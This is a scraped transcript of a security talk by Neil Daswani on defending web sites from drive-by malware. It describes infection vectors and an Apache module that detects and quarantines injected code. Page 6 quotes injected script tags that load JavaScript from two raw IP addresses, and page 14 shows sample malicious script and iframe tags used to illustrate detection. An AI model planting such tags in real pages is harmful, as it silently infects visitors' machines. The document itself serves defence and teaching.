defending web sites from malware infections · • sql injection • xss • php file include •...

20
Defending Web Sites from Malware Infections Dr. Neil Daswani www.neildaswani.com CoFounder, Dasient Inc. Joint work with: Tufan Demir, Pete Fritchman, Ameet Ranadive, Shariq Rizvi

Upload: others

Post on 10-Aug-2020

0 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Defending Web Sites fromMalware Infections

Dr. Neil Daswaniwww.neildaswani.com

Co‐Founder, Dasient Inc.

Joint work with:

Tufan Demir, Pete Fritchman, Ameet Ranadive, Shariq Rizvi

Page 2: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Drive‐by‐Downloads1) Inject legitimate web page with malicious code (e.g., JavaScript, IFRAME, etc) OR direct user to infected web page (e.g. fake anti-virus or phishing).

2) Invoke client-side vulnerability (e.g., IE zero-day, PDF exploit, etc) OR use social engineering

3) Deliver shellcode to take control

4) Send “downloader”

5) Deliver malware of attackers choice

Page 3: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

The Challenge for Websites: Many Ways to Get Infected

Software vulnerabilities

Software vulnerabilities

• SQL injection• XSS• PHP file include• Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl)

Web 2.0/ external content

Web 2.0/ external content

• Mash-ups• Widgets• External images• User generated content (HTML, images, links, exe, documents)• Third-party ads

Infrastructure vulnerabilitiesInfrastructure vulnerabilities

• Vulnerable hosting platform• Network vulnerabilities

Passwords compromised

Passwords compromised

• FTP credentials• SSH credentials• Web server credentials

Page 4: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Example Injected Javascript

Page 5: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Example Executed Javascript

Page 6: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Example Executed Javascript

<script id=_0_ src=//218.93.202.61/cp/></script>

<script id=_1_ src=//78.110.175.21/cp/></script>

• Sources in malicious javascript from a compromised IP!• Infects user's machine silently

Page 7: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Malware Attacks Hurt

Brand and customer loss

Traffic and revenue loss

Data Theft/Compliance Liability

Page 8: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Web‐Based Malware

Page 9: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Enterprise Pain Points

Page 10: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Problem: How to Provides the Complete Lifecycle of Malware Protection for Web Sites?

AssessAssess

DetectDetect

ContainContain

AssureAssure

PreventPrevent

e.g., “Defense-In-Depth”

Is this really a browsersecurity problem?

Well, yes and no…

Page 11: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Problem: How to Provides the Complete Lifecycle of Malware Protection for Web Sites?

AssessAssess

DetectDetect

ContainContain

AssureAssure

PreventPrevent

e.g., “Defense-In-Depth”

Is this really a browsersecurity problem?

Well, yes and no…

Page 12: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Need to bring “lifecycle” of protection to the web

Need to “root cause” what code on the page caused the problem

Need to be able to parse page in real time and strip out infection. (Could be coming from anywhere—file, DB, etc)

Need to do so with high performance

Why is protecting web sites from drive-bys hard?

Page 13: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external
Page 14: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Content Analysis Subsystem• Goal: Extract “root cause” of malcode

<script src=“http://external.com/a.js”>

<iframe src=“http://baddomain.com”>

Detection

Page 15: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Crawler

Reporting / UI Mod antimalware

Web Server

Content analyzers

Malware analyzers

Scanning servers

Monitor

Quarantine

Mod_antimalware Architecture

Page 16: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Mod_antimalware Implementation

Apache module (IIS also). Output filter.

Two versions: standard & lite (open-source)

Configuration Directives

Restart-free Reconfiguration (via Shared Memory) + Persistence

Page 17: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Mod_antimalware Implementation

Authentication

Quarantining Verification

Page 18: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Without Mod_Antimalware

Site attacked

Discover Diagnose Contain Remove

T=0 T=n days

Unknowingly infecting users

Technical team in “crisis” mode

Company at risk of losing brand, customers, revenue

With Mod_Antimalware

Site attacked

T=0

Discover + Diagnose *

Contain Remove

T=m hours

* - No time lag between Discover, Diagnose and Contain with Auto-Containment enabled

Significantly reduce reaction time

(m hours << n days)

Page 19: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

References + Related Work

Dasient Web Sitewww.dasient.com

Mod_antimalware Home Pagehttp://sourceforge.net/projects/modantimalware/

My Home Pagewww.neildaswani.com

Wepawet (alpha), UCSBhttp://wepawet.iseclab.org/

Stopbadware.orghttp://stopbadware.org/

Page 20: Defending Web Sites from Malware Infections · • SQL injection • XSS • PHP file include • Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl) Web 2.0/ external

Future Work

(open-source projects available)

Virtual Host Support

Certificate-based mutual authentication

Automatic deployment of quarantining directives